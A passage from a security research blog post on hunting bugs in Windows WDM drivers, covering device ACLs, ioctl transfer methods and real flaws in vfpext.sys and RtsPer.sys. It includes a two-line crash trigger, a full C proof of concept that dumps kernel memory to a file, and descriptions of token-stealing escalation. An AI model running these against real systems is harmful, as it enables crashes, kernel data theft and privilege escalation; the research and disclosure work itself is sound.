Finding Bugs in Windows Drivers, Part 1 – WDM

May 24, 2022 Eran Shimony

Cute dog in sunglasses sitting in car

Finding vulnerabilities in Windows drivers was always a highly sought-after prize by sophisticated threat actors, game cheat writers and red teamers. As you probably know, every bug in a driver is, in essence, a bug in the Windows kernel, as every driver shares the memory space of the kernel. Don’t get me started about user-mode drivers, as they are not interesting. Thus, having the capability to either run code in the kernel, read and write from the model registers, or duplicate privileged access tokens is really all you need to own the system. This two-part blog series will go through the methodology of finding vulnerabilities in WDM drivers, followed by utilizing kernel fuzzing via kAFL. We won’t go through other frameworks and models since they are either too niche (looking at your WIA mini driver) or too complicated (looking at you, NDIS). Most bugs seem to be in WDM or in KMDF (might visit KMDF in a future blogpost). In the second blog, timed for RSA Conference in San Francisco, we will talk about kernel fuzzing via kAFL and Intel PT, combining the expertise of low-level reversing, manual vulnerability research with the strong engine of kAFL, alongside using grammar-based fuzzing, which results in finding multiple vulnerabilities.

Although Microsoft is heavily invested in protecting the kernel, there is always the chance that the current system is not utilizing every available protection. Mitigations like HVCI are often disabled because of compatibility issues, such as insufficient hardware or lack of security awareness. Furthermore, even with every existing mitigation in the kernel, you can still escalate your privileges from a limited user to an administrator if you have the right primitives.

In each section of this blog, we will start with the basics, like familiarizing yourself with the relevant APIs and data structures. Later, we will examine a relevant vulnerability or two of some sort. But, of course, the most important thing in my view is having the right mindset, which, not surprisingly, we call “the kernel mindset” to discover bugs that helped us find more than a dozen bugs, some of which will be examined in this blog.

Know Your Frenemy – WDM

Windows Driver Model (WDM) is the oldest and still the most-used driver framework. Every driver is essentially a WDM driver; the newer framework Windows Driver Framework (WDF) encapsulates WDM, simplifies the development process and deals with WDM’s multiple technical difficulties. The primary thing we care about while inspecting WDM drivers is how we can communicate with them; almost every bug in drivers involves some communication from an unprivileged user to the driver itself.

We start at the beginning, which in our case, is the entry point of our driver named “testy”:

DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING  RegistryPath)
{
	UNICODE_STRING DeviceName, SymbolicLink,sddlString;
	PDEVICE_OBJECT deviceObject;
	RtlInitUnicodeString(&DeviceName, L"\\Device\\testydrv");
	RtlInitUnicodeString(&SymbolicLink, L"\\DosDevices\\testydrv");
	RtlInitUnicodeString(&sddlString, L"D:P(A;;GA;;;SY)(A;;GA;;;BA)");

	UNREFERENCED_PARAMETER(RegistryPath);
	//Create a device
	IoCreateDevice(DriverObject, 65535, &DeviceName, FILE_DEVICE_UNKNOWN, 0, FALSE, &deviceObject);

  //IoCreateDeviceSecure(DriverObject, , &DeviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &sddlString, NULL, &deviceObject);
	
  //Create a symbolic so the user can access the device
	IoCreateSymbolicLink(&SymbolicLink, &DeviceName);

	//Populating Driver's object dispatch table
	DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = TestyDispatchIoctl;
  DriverObject->MajorFunction[IRP_MJ_INTERNAL_DEVICE_CONTROL] = TestyInternalDispatchIoctl;
	DriverObject->MajorFunction[IRP_MJ_CREATE] = TestyDispatchCreate;
	DriverObject->MajorFunction[IRP_MJ_CLOSE] = TestyDispatchClose;
	DriverObject->MajorFunction[IRP_MJ_READ] = TestyDispatchRead;
	DriverObject->MajorFunction[IRP_MJ_WRITE] = TestyDispatchWrite;
	DriverObject->MajorFunction[IRP_MJ_CLEANUP] = TestyDispatchCleanup;

	DriverObject->DriverUnload = TestyUnloadDriver;
	return STATUS_SUCCESS;
}

Figure 1 – Classic DriverEntry code. Note that the call to IoCreateDevice is without the flag FILE_DEVICE_SECURE_OPEN

This code is an ordinary skeleton of the DriverEntry function that every WDM driver has. The first parameter is the DriverObject structure pointer used in device creation and dispatch routine initialization. Next, the driver has the MajorFunction member, which is a function pointer array used to assign dispatch routines for different events. Additionally, we have the critical device creation routines that we cover in the next section.

Device Creation and Initialization

As we said, the driver starts with creating a device by calling IoCreateDevice; this will create a DEVICE_OBJECT in the Object Manager. In Windows, a device object represents a logical, virtual or physical device for which a driver handles I/O requests. All of that sounds good, but it is not enough if we want it to communicate from a regular user standpoint; for this, we call IoCreateSymbolicLink that will create a DoS device name in the Object Manager that enables the user to communicate with the driver via the device. Some devices, however, don’t have normal names; they have autogenerated names (done in PDOs). They might  look odd to the inexperienced bug hunter, so if you see them at first in your favorite device, view software and see the 8-hex in the device name column. These devices can interact like every other named device.

Figure 2

Figure 2 – Showcasing WinObjEx device namespace

The most important things to note in the device creation routine are if the programmer assigned an ACL to the device and the value of DeviceCharacteristics.

Unfortunately, the IoCreateDevice method doesn’t allow the programmer to specify any ACL whatsoever, which is not good. As a result, the developer must define an ACL in the registry or the ini file of the driver. If they fail to do so, any user can access the device. Using the IoCreateDeviceSecure method, however, would mitigate that.

Besides that, we need to look at the fifth argument, which is DeviceCharacteristics . If the value of DeviceCharacteristics isn’t ORed with 0x00000100, FILE_DEVICE_SECURE_OPEN, here we likely face a security vulnerability (unless we talk about file system drivers    or any that support name structure). The reason behind this is the way Windows treats devices; every device has its very own namespace. Names in the device’s namespace are paths that begin with the device’s name. For a device named \Device\DeviceName, its namespace consists of any name of the form “\Device\DeviceName\anyfile.”

A call IoCreateDevice without the FILE_DEVICE_SECURE_OPEN flag as in figure 1 means that the device ACL is not applied to open file requests of files inside the device namespace. In other words, even if we specify a strong ACL when creating the device via IoCreateDeviceSecure or other means, then the ACL is not applied to the open file requests. As a result, we don’t really get what we wanted — a call to CreateFile with \Device\testydrv would fail, but a call with “\device\testydrv\anyfile” will succeed because the IoManager doesn’t apply the device ACL to the create request (as it assumes it is a file system driver). For starters, it is considered to be a bug that is worthy of a fix. Also, this will lead non-admin users to try to read/write into the device, perform DeviceIoControl requests and more, which normally is a thing you don’t want non-admin users doing.

You Better User Protection

We can eliminate the threats of unwanted users from straightforwardly interacting with our devices, calling IoCreateDeviceSecure (or WdmlibIoCreateDeviceSecure; it’s the same function) with a Security Descriptor that prevents non-admin users from opening a handle to the device and by using the FILE_DEVICE_SECURE_OPEN value in the creation routine. This will also save us the hassle of declaring the device’s permissions in the registry, as we would need in IoCreateDevice.

RtlInitUnicodeString(&sddlString, L"D:P(A;;GA;;;SY)(A;;GA;;;BA)"); 
IoCreateDeviceSecure(DriverObject, 65535, &DeviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &sddlString, NULL, &deviceObject);

Figure 3 – How We Should Create Devices

From a bug hunting standpoint, we should enumerate every possible device in the system, followed by trying to open it with GENERIC_READ | GENERIC_WRITE, which allows us to filter out devices we can’t communicate with. We will revisit this in our  second part.

Dispatch Methods

Creating devices is nice and all, but, of course, it isn’t enough for you to communicate with the driver. For that you need IRPs. The driver receives IRPs, I/O Request Packets on behalf of the IoManager for specific triggers. For instance, if an application tries to open a handle to a device, the IoManager will invoke the relevant dispatch method assigned to the driver object. Thus, it allows every driver to support multiple different MajorFunctions for every device it creates. There are around 30 different MajorFunction. If you count the deprecated IRP_MJ_PNP_POWER, each represents a different event. We will focus on only two of these MajorFunction methods and add a short description about the rest, which are the places we should look after while bug hunting.

  DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = TestyDispatchIoctl;
  DriverObject->MajorFunction[IRP_MJ_INTERNAL_DEVICE_CONTROL] = TestyInternalDispatchIoctl;
  DriverObject->MajorFunction[IRP_MJ_CREATE] = TestyDispatchCreate;
  sDriverObject->MajorFunction[IRP_MJ_CLOSE] = TestyDispatchClose;
  DriverObject->MajorFunction[IRP_MJ_READ] = TestyDispatchRead;
  DriverObject->MajorFunction[IRP_MJ_WRITE] = TestyDispatchWrite;
  DriverObject->MajorFunction[IRP_MJ_CLEANUP] = TestyDispatchCleanup;

Figure 4 – Basic Driver Dispatch Table Assignment

Give Me a Handle

Before we dive into the juiciest target, which is the IRP_MJ_DEVICE_CONTROL, we will start with IRP_MJ_CREATE. Every kernel- mode driver must handle IRP_MJ_CREATE in the driver dispatch callback function. The driver must implement IRP_MJ_CREATE because without that, you could not open a handle to the device or a file object.

As you probably guessed, the IRP_MJ_CREATE dispatch routine is invoked when you call NtCreateFile or ZwCreateFile. On most occasions, it will be an empty stub and return a handle with the asked DesiredAccess based on the device’s ACL.

NTSTATUS TestyDispatchCreate(PDEVICE_OBJECT DeviceObject, PIRP irp){
	irp->IoStatus.Status = 0;
	irp->IoStatus.Information = 0;
	IofCompleteRequest(irp, 0);

	return 0;
}

Figure 5 – Typical DistpachCreate Mandatory Method

However, in some cases, more complex code is involved — even if you met the device’s ACL criteria, you might get a status error like STATUS_INVALID_PARAMETER because you use incorrect parameters in the call to NtCreateFile.

Unfortunately, it indicates you can’t open a device blindly and hope to communicate with the driver via DeviceIoControl; you first need  to understand its expected parameters. Usually, the DispatchCreate expects some ExtendedAttributes (can’t use regular CreateFile for that) or specific file name (besides the device name) alongside some other quarks and gluons. Therefore, we must visit the DispatchCreate method 🙂

Figure 6

Figure 6 – Shows a check to see if there is an extended attribute named “StorVsp-v2” and that the length of the value field is 0x19 bytes long. Thus, the driver is StorVsp.sys

Besides opening a handle, you can also look for vulnerabilities in the DispatchCreate. The more complex the function becomes, the higher the chances of memory allocation and deallocation bugs, especially because the DispatchCreate is not often inspected.

The general approach we take while looking for bugs in drivers is:

  • Enumerate every device object
  • Try to open it with the most permissive DesiredAccess
  • In case of failure, check the status code; if it is not STATUS_ACCESS_DENIED, you can probably still open the handle by doing some manual work and changing some of the parameters

By following this simple algorithm, we will have a list of around 70 devices that we can talk to from a non-admin standpoint. Of course, this number will vary across different Windows machines, since OEM drivers and many types of software also install drivers.

Control the Device with ioctls

While rarely giving you full control over the device/driver, ioctls is de facto the way an application should communicate with a driver. There are two ioctl dispatch routines a driver can create:

// User-Mode application DeviceIoControl, NtDeviceIoControlFile
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = TestyDispatchIoctl;
// Kernel-Mode driver ZwDeviceIoControlFile or the bad IoBuildDeviceIoControlRequest
DriverObject->MajorFunction[IRP_MJ_INTERNAL_DEVICE_CONTROL] = TestyInternalDispatchIoctl;

Figure 7 – Typical Usage of Device Control Methods

The only method that matters is TestyDispatchIoctl, since we can’t initiate a call to either IoBuildDeviceIoControlRequest or IIoAllocateIrp with arbitrary parameters, which are the function that trigger the IRP_MJ_INTERNAL_DEVICE_CONTROL major function. If so, please tell me because the internal dispatch method seldom goes through proper testing.

As with any dispatch method of the DriverObject, it receives two parameters from the IoManager.

NTSTATUS TestyDispatchIoctl(PDEVICE_OBJECT DeviceObject, PIRP IRP)

Figure 8 – Every Dispatch Method in WDM Drivers Shares the Same Function Signature

The first is the device object we performed the CreateFile operation on, and the second is a pointer to IRP. The IRP encapsulates the user data and many other things we don’t really care about from a vulnerability research perspective. The main thing we care about here is which parameters are sent from user mode. If we take a look at the signature of NtDeviceIoControlFile, we can guess which fields we care about while looking for bugs in drivers:

BOOL DeviceIoControl(
  HANDLE       hDevice,
  DWORD        dwIoControlCode,
  LPVOID       lpInBuffer,
  DWORD        nInBufferSize,
  LPVOID       lpOutBuffer,
  DWORD        nOutBufferSize,
  LPDWORD      lpBytesReturned,
  LPOVERLAPPED lpOverlapped
);

Figure 9 – DeviceIoControl API

The main suspects in this method are the input/output buffers, their lengths and the Ioctl code itself. We start with the Ioctl code, which is a 32-bit number that acts as a specifier; it describes how the buffers and the lengths are used/copied to the kernel, the needed DesiredAccess (when you opened a handle to the device) and a function indicator. Let’s see an example:

Figure 10

Figure  10 – an image of the FileTest.exe tool, showing the bitfields of the 32 Ioctl number

We can see the ioctl code is 0x1000, which translates to:

  • DeviceType: FileDevice_0 → It’s not relevant for us.
  • Function: 0 → It’s not relevant for us.
  • Method: METHOD_NEITHER → It’s relevant for us, as it describes how IoManager transfers this data to the kernel; more about it shortly
  • Access: FILE_ANY_ACCESS → It’s relevant for us, as it defines the desired access you need to have over the handle. If you don’t have the correct access, then the IoManager won’t allow the call to take place and return you AccessDenied. There are four different values:
    • FILE_ANY_ACCESS: You always have a handle to the device, regardless of the DesiredAccess argument.
    • FILE_READ_DATA: You requested a handle with GENERIC_READ and got a valid handle
    • FILE_WRITE_DATA: You requested a handle with GENERIC_WRITE and got a valid handle FILE_READ_DATA | FILE_WRITE_DATA: Self-explanatory; you need both rights.

Running this DeviceIoControl request on the handle of \Device\VfpExt would cause a BSoD, regardless of your privilege level;   we will see why after understanding the field Method in Figure 3.

Method/TransferType, Mother of All Evils

Method/TransferType, Mother of All Evils. This sounds bombastic at first, but unfortunately, it is indeed the case. The method of transport type, the two least significant    bits in the ioctl 32 bit-number, indicates the way parameters (buffers and lengths) are referenced in the kernel by the IoManager. As with the Access field, there are four different options:

  • (1) METHOD_NEITHER, both bits are on: The IoManager is lazy and does no checks on the buffers and their lengths. The  buffers are not copied to the driver and reside in user-mode. Therefore, the user can manipulate the buffers’ lengths and free/allocate their pages at wish, causing many bad things — system crashes and privilege escalation — unless the buffers are probed properly. If you see a driver that does not probe the buffers and uses METHOD_NEITHER, it is safe to assume you have a major security hole in front of you.
  • (2) METHOD_BUFFERED, none of the bits are on: The IoManager copies the input/output buffers and their length to the kernel, making it vastly more secure as the user cannot page out the buffers or change their content and lengths on a whim. After that, the input/output buffer pointer is assigned to the IRP.
  • (3) METHOD_IN_DIRECT and (4) METHOD_OUT_DIRECT one of the two bits are on: These two are quite similar; the IoManager  allocates the input buffer as in METHOD_BUFFERED. For the output buffer, the IoManager probes the buffer and checks  if the virtual address is writeable\readable in the current access mode. Then, it locks the memory pages and passes a pointer to the IRP.

Let’s see how a driver might access the user mode buffers and look at a quick vulnerability that demonstrates the issue of not doing proper security checks in drivers.

METHOD_NEITHER: Ioctl code translated to binary ends with 11
Input buffer: irp->Parameters.DeviceIoControl.Type3InputBuffer                         
Output buffer: irp->UserBuffer                         
                
METHOD_DIRECT: Ioctl code translated to binary ends with either 01 or 11
Input buffer: irp->AssociatedIrp.SystemBuffer
Output buffer: irp->MdlAddress  

METHOD_BUFFERED: Ioctl code translated to binary ends with 00
Input & Output buffer IRP->AssociatedIrp.SystemBuffer

Figure 11 – Here We Can See How We Should Relate Each Buffer in Our Driver About the Ioctl Code That Describes the Method and Transfer type

As a driver can support multiple ioctl codes normally, it has a large switch case for every different ioctl code, affecting where the buffers are stored in memory. In the next section, we will see what happens if we don’t notice.

Blue Screen Goes Boom

In short, our first example of a real bug lies in the Microsoft Azure VFP Extension or vfpext.sys. The story begins in the driver’s ioctl dispatch function. After some variable initialization, it calls a method to validate user-mode parameters followed by some inner logic.  We care not.

NTSTATUS __fastcall SxStartDeviceIoControl(PIRP IRP, _WORD *a2, _WORD *a3, _QWORD *a4, int *a5, __int64 a6, __int64 a7)
{
  _IO_STACK_LOCATION *CurrentStackLocation; // rdi
  bool IsInputBufferBelowLimit; // cf
  NTSTATUS result; // eax
  BYTE *SystemBuffer; // rbx
  int v14; // ecx
  __int128 v15; // [rsp+20h] [rbp-28h] BYREF
  __int128 v16; // [rsp+30h] [rbp-18h] BYREF

  CurrentStackLocation = IRP->Tail.Overlay.CurrentStackLocation;
  IRP->IoStatus.Information = 0i64;
  IsInputBufferBelowLimit = CurrentStackLocation->Parameters.Create.Options < 0x218; v15 = 0i64; v16 = 0i64; if ( IsInputBufferBelowLimit ) return -1073741811; SystemBuffer = (BYTE *)IRP->AssociatedIrp.SystemBuffer;
  result = SxInitUnicodeStringSafe((__int64)&v16, (const wchar_t *)SystemBuffer + 8, 0x100u);
  if ( result >= 0 )
  {
    result = SxInitUnicodeStringSafe((__int64)&v15, (const wchar_t *)SystemBuffer + 0x88, 0x100u);
    if ( result >= 0 )
    {
      *a2 = *((_WORD *)SystemBuffer + 265);
      *a3 = *((_WORD *)SystemBuffer + 264);
      v14 = CurrentStackLocation->Parameters.Create.Options - 0x218;
      *a4 = SystemBuffer + 536;
      *a5 = v14;
      return SxFindContextByName(&v16, &v15, (PVOID **)a6, (_QWORD *)a7);
    }
  }

Figure 12 – SxStartDeviceIoControl function decompiled by Ida Pro, invoked from the disptachIoctl function of vfpext.sys
All we really have here is a simple code that does the following:

  1. Get a pointer to the CurrentStackLocation from the macro IoGetCurrentIrpStackLocation (IRP))
  2. Verify that buffer length exceeds 0x218
  3. Create some Unicode strings in a safe way
  4. Do a look-up operation by calling SxFindContextByName, which we don’t care about

The problem is that in no place does the driver check what the given ioctl IRP->AssociatedIrp is. For example, SystemBuffer is a valid address; it assumes the address of the buffer is valid.

However, looking back at Figure 4, we can assume the driver expects to get an ioctl code with TransferType of either

METHOD_BUFFER or METHOD_IN_DIRECT or METHOD_OUT_DIRECT, as it reads the input buffer from IRP->AssociatedIrp.SystemBuffer.

But, if it is METHOD_NEITHER, then IRP->AssociatedIrp.SystemBuffer means nothing to the IoManager, and it sets it set to zero because it populates IRP->Parameters.DeviceIoControl.Type3InputBuffer instead.

Next, there is a call to SxInitUnicodeStringSafe , which I think is supposed to be a safer version of the kernelic method RtlInitUnicodeString; the second parameter is the SystemBuffer+8 that is the source string.

NTSTATUS __fastcall SxInitUnicodeStringSafe(__int64 Dest, const wchar_t *SystemBuffer, unsigned __int16 a3)
{
  __int64 v5; // r11
  NTSTATUS result; // eax
  size_t v7; // [rsp+38h] [rbp+10h] BYREF

  v7 = 0i64;
  v5 = Dest;
  if ( SystemBuffer )
  {
    result = RtlStringCbLengthW(SystemBuffer, a3, &v7);
    if ( !result )
    {
      *(_WORD *)v5 = v7;
      result = 0;
      *(_WORD *)(v5 + 2) = a3;
      *(_QWORD *)(v5 + 8) = SystemBuffer;
      return result;
    }
  }
  else
  {
    result = 0;
  }
  *(_DWORD *)v5 = 0;
  *(_QWORD *)(v5 + 8) = 0i64;
  return result;
}

Figure 13 – SxInitUnicodeStringSafe function decompiled by Ida Pro, receives SystemBuffer, which can point to an invalid memory

So, the address of SystemBuffer address will be 0x10 = (0x0+sizeof(wchar_t *)+8). Hence, on the call to RtlStringCbLengthW, which as the name states, calculates the length, will use the system buffer that points to an invalid address. It contains the code:

for ( i = length; i; --i )
    {
      if ( !*SystemBuffer )
        break;
      ++SystemBuffer;
    }

Figure 14 – Here the pointer dereference takes place

When the *SystemBuffer dereferencing happens, you dereferenced an invalid address, and the kernel is not forgiving about the null pointer.

Figure 15 error

Figure 15 – just a blue screen, triggered by the vulnerability

This bug check only requires two lines of code to trigger:

HANDLE hDevice = CreateFile (DEVICE_NAME, NULL, NULL, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
DeviceIoControl(hDevice, 3, NULL, 0x512, NULL, 0x512, NULL, NULL);

Figure 16 – Causing a bugcheck

In this case, our bug is not exploitable, except by a DoS from a limited user. This bug can also be triggered by a restricted user and in an application sandbox, as well because there is no protection over the device whatsoever. Hence, everyone can get a handle and BSoD. To this day, this vulnerability has not been patched; MSRC response was, “We have completed our investigation and determined that  this report is a moderate severity denial of service vulnerability, which unfortunately means that it does not meet our bar for servicing  in a security update, and I will be closing this case.” Microsoft’s answer is quite amusing, as it is not just a regular DoS but a system DoS. From a CVSS standpoint, it should be 7.3: https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H . And besides that, the fix is pretty simple; check the ioctl code before using it blindly, which will lead to correct usage of IRP‘s buffers.

Leak Me Some Memory

After having fun with Denial-of-Service attacks, we should proceed to a special, stealthy vulnerability class. Information leakage is the disclosure of kernelic memory to the user-mode. It doesn’t trigger a bug check or any exception, so it is quite difficult to find during the regular pipeline of driver development. You also can’t find it via driver verifier, in contrast to regular memory pool bugs.

Since Windows Vista, Microsoft introduced mitigation called KASLR, making Windows kernel exploitation very challenging. KASLR is the kernelic ASLR, which randomizes drivers, modules, kernelic objects base address on boot. By doing such, you couldn’t abuse arbitrary write primitive as you would in the old days. Back then, you could find an address that would be called by the kernel like HalDispatchTable, followed by placement of a malicious shellcode that would do token stealing that could, for instance, be triggered by a user-mode process. Thus, having arbitrary write was enough for code execution, or you could cancel SMEP for the record.

Nowadays, when the addresses are randomized, one does not know where to assign the shellcode, as the HalDispatchTable is randomized with each boot.

Exploit writers got smarter and pretty quickly understood that you can call NtQuerySystemInformation or EnumDeviceDrivers to get the base address of ntoskrnl. From that, we bypass KASLR, making arbitrary write enough for LPE. But, of course, one can call these APIs only if the controlled process is of medium integrity, which most processes are; browsers are not. Besides that, overwriting the HalDisptachTable with PageEntry corruption is null and void because of new mitigations such as HVCI, which are still  not the default on most Windows machines.

Alternatively, one might be able to read data directly from the System process. For example, one might read the SAM file, which is fully loaded into memory. Now, suppose you can extract it from memory. In that case, you can probably crack the hash and find the administrator password, allowing you to achieve full privilege escalation stealthily. Since you don’t really touch the disk, no anti- virus will be triggered.

So what does an info leak look like? It is mostly in the form of getting a kernel pointer of some sensitive kernelic object, but it can  also look like disclosing uninitialized kernel memory, like in RtsPer.sys Realtek driver:

DisptachIoctlFDO (PDEVICE_OBJECT Device_Object, IRP *IRP)
{
case 0x2D2324u:
      NTStatus2 = rts_ctrl_dump_paras_string(Device_Object, IRP);
...

	__int64 __fastcall rts_ctrl_dump_mem_log(PDEVICE_OBJECT Device_Object, PIRP irp)
	{
	 _IO_STACK_LOCATION *CurrentStackLocation; // rbx
	  PVOID Device_Extension; // rbp
	  BYTE SystemBuffer; // si
	  __int64 InputBufferLength; // r9
	  ULONG OutputBufferLength; // [rsp+50h] [rbp+8h] BYREF
	
	  CurrentStackLocation = irp->Tail.Overlay.CurrentStackLocation;
		Device_Extension = Device_Object->DeviceExtension;
	  irp->IoStatus.Information = 0i64;
	  SystemBuffer = (BYTE *)irp->AssociatedIrp.SystemBuffer;
	  InputBufferLength = CurrentStackLocation->Parameters.DeviceIoControl.InputBufferLength;
	  OutputBufferLength = CurrentStackLocation->Parameters.DeviceIoControl.OutputBufferLength;

		if ( OutputBufferLength >= 0x107C0 && *(_QWORD *)&SystemBuffer )
		{
		    rts_dump_paras_as_string((__int64)Device_Extension, *(_BYTE **)&SystemBuffer, &OutputBufferLength);// Read&Write memory, disable PCIs
		    IRP->IoStatus.Information = OutputBufferLength;		   
		    return 0i64;  
		 }
		else
		{
		   IRP->IoStatus.Information = 0x107C0i64; 
		   return 0x80000005i64;
		}
	}
}

Figure 17 – rts_ctrl_dump_mem_log contains a serious information leakage error

At first glance, the code provided here seems solid; the driver uses METHOD_BUFFERED (because it ends with 00) for transferring data, so user data can’t make page-out its buffers; the buffer lengths are to be trusted (see Figure 11 and above).However, even when using METHOD_BUFFERED, it doesn’t make the code error free; it might lead to a false sense of security.

The easiest way to look for information leakage vulnerabilities is by looking at which data is returned and its length. Since we are dealing with METHOD_BUFFERED, the returned data is via SystemBuffer, and IRP->IoStatus.Information specifies the size (not only for this transfer type). The troubling part is that the IoManager doesn’t initialize the System buffer beyond the copy of the input buffer; in other words, if OutputBufferLength > InputBufferLength, the remainder of the SystemBuffer is uninitialized data. Thus, it  is the job of the driver writer to initialize the system buffer and return the correct length of it.

In our case, Figure16, the SystemBuffer, is not being initialized with zeros. We have no checks regarding the input/output buffer lengths, which we have full control over. Also, by looking at the else block, we can inspect a faulty logic:

IRP->IoStatus.Information = 0x107C0i64;

Figure 18 – incorrect buffer size assignment

It turns out that by entering the else block, you get back from the kernel 0x107c0 bytes length of kernel data. To be more precise, the IoManager copied the delta between the OutputBufferLength and the InputBufferLength:

OutBufferLength = 0x107c0, InputBufferLength = 1

Therefore, we get back 0x107c0, around 64k of uninitialized data from the memory space of the System process, allowing you to read the content of the SAM file, find the system’s kernel base address and much more. Moreover, you can trigger this behavior as  many times as you wish, since it does not raise exceptions.

The exploit code is pretty trivial; the only concern we might have is finding the device name, as it is an autogenerated number (but you can brute-force it as there are only around 0x200 options and similar to how it is shown in Figure 2. Our exploit code consists of  the following:

  • Open a handle to the device that RtsPer.sys exposes
  • Allocate a buffer in the size of 0x107c0
  • Call DeviceIoControl
  • Write kernel data to a file
#include 
#include 

//device name would very so if you want to execute this code I would use DeviceTree
// made by OSR and look for the device name under RtsPer.sys
#define DEVICE_NAME L"\\\\.\\GlobalRoot\\Device\\00000066"

int main(int argc, TCHAR* argv)
{
	LPVOID inputBuffer;
	LPVOID outputBuffer;
  HANDLE hDevice;
  DWORD dwBytesReturned = 0;
  DWORD dwNtStatus = 0;
  DWORD dwFunctionCode = 0x2D2324;
  DWORD dwSize = 0x107C0;

  hDevice = CreateFile(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, 0, NULL);
  
	if (hDevice == INVALID_HANDLE_VALUE)
	{
		std::cout << "Error opeining the device, it's autogenerated after all, try to look for the name again" << std::endl;
		exit(1);
	}

	std::cout << "Opened a handle to the device" << std::endl;
	outputBuffer = malloc(dwSize);
  inputBuffer= malloc(dwSize);
  HANDLE hFile = CreateFile(L"a.bin", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  //Read as many as you like :)
	for(DWORD i=0; i < 1000000; i++)
  {
		memset(outputBuffer, 0x00, 0x107C0);
    memset(inputBuffer, 0x00, 0x107C0);
    dwNtStatus = DeviceIoControl(hDevice, dwFunctionCode, inputBuffer, 1, outputBuffer, 2, &dwBytesReturned , NULL);
    if (dwBytesReturned || dwNtStatus )
			WriteFile(hFile, outputBuffer, dwBytesReturned , &dwNtStatus , NULL);
   dwNtStatus = 0;
   dwBytesReturned = 0;
  }   

  CloseHandle(hDevice); 
  CloseHandle(hFile); 
  free(inputBuffer);
  free(outputBuffer);
	return 0;
}

Figure 19 – A short code to abuse the info leak in RtsPer.sys

This is only one of the many vulnerabilities we discovered in this driver that RealTek recently patched.

As you look at this, it seems that these vulnerabilities are easy to detect and relatively easy to fix — all you need to do is to change the IRP->IoStatus.Information to zero in the else block. Also, you might prevent all of these bugs by altering the device’s permissions, allowing only admin users and above to interact with it. We got CVE-2021-40328 and CVE-2021-40332 for the bugs in this driver.

Just Write Me Something

The third type of bug we would take a look at would lead to full privilege escalation unless it is executed from a low-integrity process . A better and often more useful bug to find in the kernel is arbitrary write. This primitive allows you to write anywhere in the kernel, which presumably would let you overwrite your access token.

If you don’t recall or are new to Windows OS, every process has a kernel counterpart object called an EPROCESS; every EPROCESS object has an access token representing its security context. The System process is de facto the kernel and naturally has the most powerful access token in the operating system. As every EPROCESS resides in the kernel space, we can’t change the access token of the EPROCESS at will; we must do it from the kernel itself. But suppose we have an arbitrary write primitive? In that case, we can change any process’s access token and replace it (kidnapping was the original term) with the System’s process access token. This technique is known as a data-only attack. In contrast to memory corruption techniques, we don’t corrupt any page pool entries, which are susceptible to new mitigations such as kCFG/HVCI/HyperGuard.

Assumptions Are Everything in Bug Hunting

Finding an arbitrary write vulnerability is great but not always sufficient for full local-privilege escalation. As in anything in life, it is based on your assumptions;

If HVCI is on:

  • Regardless of your integrity level, arbitrary write in the kernel is not enough for LPE; you also need a read primitive to enable the right permissions in your token.

If HVCI is off:

  • Integrity level is Medium (most common); one can invoke EnumDeviceDrivers and NtQuerySystemInformation to get the base address of the kernel, which should allow you with some page entry corruption to overwrite the HalDisptachTable/SMEP. That would be enough for LPE.
  • Integrity level is low or untrusted (mostly browsers) — you cannot call the APIs mentioned above; therefore, no kernel base address for you. Must have an additional primitive for LPE.

What does an arbitrary write vulnerability look like? Usually, it involves a dereference of memory and copy operation from a controlled buffer, and it can come in many flavors, from bad memcpy/memmove to just arbitrary pointer dereference. Let’s see a   few of the more popular ones:

//the rsp+28h holds the input buffer
mov     rax, [rsp+28h+var_4] //destination address
mov     rcx, [rsp+28h+var_8] //source source
mov     rcx, [rcx]
mov     [rax], rcx

Figure 20 – a vanilla arbitrary write example found in a driver we can’t comment on

Assuming our driver uses METHOD_NEITHER as the transfer type and we see the input or output buffer loaded into a register, this is an arbitrary pointer dereference. In here, both registers RAX and RCX are pointing to user-mode buffer. Of course, you have full control over their content, and you have prior knowledge of where they are located in memory because you have created them. Since we have full control over the registers, we can write to the memory address pointed by RAX ,a shellcode address pointed by RCX. In other words, we have a write-what-where type of vulnerability or arbitrary write.
Our mindset should be if we have METHOD_NEITHER transfer type, when the buffers are being used, and in which way. A pattern as such we have in Figure 19 is a bit rare but still pops from time to time.

Pure Evil Functions

We can’t talk about arbitrary write vulnerabilities without mentioning one key function that is often the source of it: incorrect usage of either memcpy routine. The memcpy function or the macro that driver developers use, RtlCopyMemory, is unsafe by design. It does not deal with write over bounds or memory overlap; the source or destination is on the same memory. There is a function that deals with memory overlap, which is memmove or the macro RtlMoveMemory. That still doesn’t solve the problem of out-of-bounds write. In addition, every  incorrect usage of one of its arguments would likely impose a bug. Please take a look at J00ru’s excellent write-up about this topic, which demonstrates the subtleties in using move/copy functions.

Let’s examine an easy-to-see bug in a driver that shall be nameless:

Figure 21
Figure 21 – faulty driver logic, looks bad

The decompiled code shown here is a bit misleading as Ida, which usually makes our lives a lot easier and makes multiple mistakes in distinguishing between structure members of IO_STACK_LOCATION in the case they are unions. That leads to some confusion at first glance for us. Let’s just ignore the bug that the ioctl 0x26DC03 presents, incorrect usage with ProbeForRead, without even using the buffer. Luckily, everyone who is familiar with some kernel internals can see that things look quite odd:

// This is the input buffer length of method Buffered, should be
// CurrentIrpStackLocation->Parameters.DeviceIoControl.InputBufferLength
Length = CurrentIrpStackLocation->Parameters.Create.Options

// This has nothing to do with byte offset, it is the ioctl code, should be
// CurrentIrpStackLocation->Parameters.DeviceIoControl.IoControlCode
LowPart = CurrentIrpStackLocation->Parameters.Read.ByteOffset.LowPart

// v6 is union, {_IRP *MasterIrp;int IrpCount;void *SystemBuffer;}, because we are
// working with buffers, the driver of course users *SystemBuffer which is a structure in our case
v6.MasterIrp = (_IRP *)irp->AssociatedIrp

// This is a length field because it used in memmove
